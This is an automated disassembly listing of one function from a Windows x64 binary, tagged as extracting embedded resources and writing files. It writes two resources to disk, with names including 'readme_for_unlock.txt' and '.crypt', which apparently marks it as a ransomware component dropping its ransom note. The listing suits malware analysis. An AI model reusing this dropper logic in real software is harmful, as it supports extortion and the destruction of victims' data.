Function at 0x14000ef70
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x60]
sub rsp, 0x160
mov rax, qword [0x1400ad388]
xor rax, rsp
mov qword [rbp + 0x50], rax
mov rbx, r8
mov rsi, rdx
xor r12d, r12d
mov r8d, 0x309
mov rdx, rbx
call fcn.140005af0
mov qword [rbp - 0x10], r12
mov qword [rbp], r12
mov qword [rbp + 8], 0xf
mov byte [rbp - 0x10], r12b
lea r8d, [r12 + 1]
lea rdx, [0x140095250]
lea rcx, [rbp - 0x10]
call fcn.140006540
nop
lea rcx, [rsp + 0x68]
call fcn.140002e80
nop
lea rdx, [rbp - 0x58]
mov rcx, rax
call fcn.140001f70
nop
lea r9, [rbp - 0x10]
mov r8, rax
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x48]
call fcn.14001dc00
nop
mov r8, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x14000f01a
mov rbx, qword [rbx]
mov rdx, rbx
lea rcx, [rsp + 0x48]
call fcn.1400066a0
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x18], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x20], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 4
lea rdx, str..tmp
lea rcx, [rbp - 0x30]
call fcn.1400066a0
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x68], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp - 0x78]
mov rcx, rsi
call fcn.140006280
mov rdx, qword [rbp - 0x60]
cmp rdx, 0x10
jb 0x14000f0cd
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f0c7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000fa81
call fcn.14004c5ac
nop
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x14000f108
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f103
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000fa87
call fcn.14004c5ac
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x14000f155
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f150
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000fa8d
call fcn.14004c5ac
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x60], 0xf
mov byte [rsp + 0x48], 0
mov rdx, qword [rbp - 0x40]
cmp rdx, 0x10
jb 0x14000f1a3
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f19e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000fa93
call fcn.14004c5ac
mov qword [rbp - 0x48], r12
mov qword [rbp - 0x40], 0xf
mov byte [rbp - 0x58], 0
mov rdx, qword [rbp - 0x80]
cmp rdx, 8
jb 0x14000f1f4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f1ef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000fa99
call fcn.14004c5ac
movdqa xmm0, xmmword [0x1400976c0]
movdqu xmmword [rsp + 0x78], xmm0
mov word [rsp + 0x68], r12w
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x14000f243
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f23e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000fa9f
call fcn.14004c5ac
mov qword [rbp - 0x10], r12
mov qword [rbp], r12
mov qword [rbp + 8], 0xf
mov byte [rbp - 0x10], 0
mov r8d, 0x378
lea rdx, [rbp - 0x10]
call fcn.140005af0
mov qword [rbp - 0x78], r12
mov qword [rbp - 0x68], r12
mov qword [rbp - 0x60], 0xf
mov byte [rbp - 0x78], 0
mov r8d, 1
lea rdx, [0x140095250]
lea rcx, [rbp - 0x78]
call fcn.140006540
nop
lea rcx, [0x140095254]
call fcn.14005bd58
mov rdi, 0xffffffffffffffff
mov r9, rdi
nop word [rax + rax]
inc r9
cmp byte [rax + r9], 0
jne 0x14000f2b0
mov r8, rax
xor edx, edx
lea rcx, [rbp - 0x78]
call fcn.140007b00
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x78], r12
mov qword [rbp - 0x80], r12
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x78], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rdx, qword [rbp - 0x10]
mov r8, qword [rbp]
lea rcx, [rsp + 0x68]
call fcn.1400066a0
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x18], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x20], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 4
lea rdx, str..tmp
lea rcx, [rbp - 0x30]
call fcn.1400066a0
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x48], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x40], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x14000f3b7
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f3b2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000faa5
call fcn.14004c5ac
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], 0
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x14000f403
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f3fe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000faab
call fcn.14004c5ac
mov qword [rsp + 0x78], r12
mov qword [rbp - 0x80], 0xf
mov byte [rsp + 0x68], 0
mov rdx, qword [rbp - 0x60]
cmp rdx, 0x10
jb 0x14000f450
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f44b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000fab1
call fcn.14004c5ac
mov qword [rbp - 0x68], r12
mov qword [rbp - 0x60], 0xf
mov byte [rbp - 0x78], 0
lea r8, [0x140096010]
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r14d, eax
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r15, rax
mov r8, qword [rsi + 0x10]
cmp qword [rsi + 0x18], 0x10
jb 0x14000f4af
mov rdx, qword [rsi]
add r8, rdx
jmp 0x14000f4b5
add r8, rsi
mov rdx, rsi
lea rcx, [rsp + 0x48]
call fcn.140006b20
cmp qword [rax + 0x18], 8
jb 0x14000f4c9
mov rax, qword [rax]
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
mov rdx, qword [rsp + 0x60]
cmp rdx, 8
jb 0x14000f537
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f532
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000fab7
call fcn.14004c5ac
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x60], 7
mov word [rsp + 0x48], r12w
test rbx, rbx
je 0x14000f9d1
mov dword [rbp - 0x38], r12d
mov qword [rsp + 0x20], r12
lea r9, [rbp - 0x38]
mov r8d, r14d
mov rdx, r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp + 0x30]
mov rcx, rsi
call fcn.14000e590
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x60], 0xf
mov byte [rsp + 0x48], 0
mov r8d, 1
lea rdx, [0x140095250]
lea rcx, [rsp + 0x48]
call fcn.140006540
nop
lea rcx, [0x140095254]
call fcn.14005bd58
mov r9, rdi
inc r9
cmp byte [rax + r9], 0
jne 0x14000f5c4
mov r8, rax
xor edx, edx
lea rcx, [rsp + 0x48]
call fcn.140007b00
mov qword [rbp - 0x58], r12
mov qword [rbp - 0x48], r12
mov qword [rbp - 0x40], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x48], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 0x15
lea rdx, str.readme_for_unlock.txt
lea rcx, [rbp - 0x58]
call fcn.1400066a0
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x20], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x40]
cmp rdx, 0x10
jb 0x14000f676
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f671
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000fabd
call fcn.14004c5ac
mov qword [rbp - 0x48], r12
mov qword [rbp - 0x40], 0xf
mov byte [rbp - 0x58], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x14000f6c3
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f6be
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000fac3
call fcn.14004c5ac
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x60], 0xf
mov byte [rsp + 0x48], 0
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x78], r12
mov qword [rbp - 0x80], 0xf
mov byte [rsp + 0x68], 0
mov r8d, 1
lea rdx, [0x140095250]
lea rcx, [rsp + 0x68]
call fcn.140006540
nop
lea rcx, [0x140095254]
call fcn.14005bd58
inc rdi
cmp byte [rax + rdi], 0
jne 0x14000f711
mov r9, rdi
mov r8, rax
xor edx, edx
lea rcx, [rsp + 0x68]
call fcn.140007b00
mov qword [rbp - 0x78], r12
mov qword [rbp - 0x68], r12
mov qword [rbp - 0x60], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x68], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 0x1b
lea rdx, str.readme_for_unlock.txt.crypt
lea rcx, [rbp - 0x78]
call fcn.1400066a0
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x20], r12
mov qword [rbp + 0x28], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x20], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x60]
cmp rdx, 0x10
jb 0x14000f7d1
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f7cc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000fac9
call fcn.14004c5ac
mov qword [rbp - 0x68], r12
mov qword [rbp - 0x60], 0xf
mov byte [rbp - 0x78], 0
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x14000f81d
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f818
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000facf
call fcn.14004c5ac
mov qword [rsp + 0x78], r12
mov qword [rbp - 0x80], 0xf
mov byte [rsp + 0x68], 0
lea r8, [0x140096010]
mov edx, 2
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rsi, rax
lea rcx, [rbp + 0x10]
mov r8, qword [rbp + 0x20]
cmp qword [rbp + 0x28], 0x10
jb 0x14000f882
mov rdx, qword [rbp + 0x10]
add r8, rdx
jmp 0x14000f889
add r8, rcx
lea rdx, [rbp + 0x10]
lea rcx, [rsp + 0x48]
call fcn.140006b20
cmp qword [rax + 0x18], 8
jb 0x14000f89d
mov rax, qword [rax]
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
mov rdx, qword [rsp + 0x60]
cmp rdx, 8
jb 0x14000f90b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f906
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000fad5
call fcn.14004c5ac
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x60], 7
mov word [rsp + 0x48], r12w
mov dword [rbp - 0x38], r12d
mov qword [rsp + 0x20], r12
lea r9, [rbp - 0x38]
mov r8d, edi
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.14000e910
nop
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x14000f985
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f980
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000fadb
call fcn.14004c5ac
mov qword [rbp + 0x20], r12
mov qword [rbp + 0x28], 0xf
mov byte [rbp + 0x10], 0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x14000f9d1
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f9cb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000fae1
call fcn.14004c5ac
nop
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x14000fa0c
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000fa07
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000fae7
call fcn.14004c5ac
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x48], 0xf
mov byte [rbp + 0x30], 0
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x14000fa53
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000fa4e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000fa7b
call fcn.14004c5ac
mov rcx, qword [rbp + 0x50]
xor rcx, rsp
call fcn.14004c550
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
call fcn.14005bae0
nop
call fcn.14005bae0
nop
call fcn.14005bae0
nop
call fcn.14005bae0
nop
call fcn.14005bae0
nop
call fcn.14005bae0
nop
call fcn.14005bae0
nop
call fcn.14005bae0
nop
call fcn.14005bae0
nop
call fcn.14005bae0
int3
call fcn.14005bae0
nop
call fcn.14005bae0
nop
call fcn.14005bae0
nop
call fcn.14005bae0
nop
call fcn.14005bae0
int3
call fcn.14005bae0
nop
call fcn.14005bae0
nop
call fcn.14005bae0
nop
call fcn.14005bae0
int3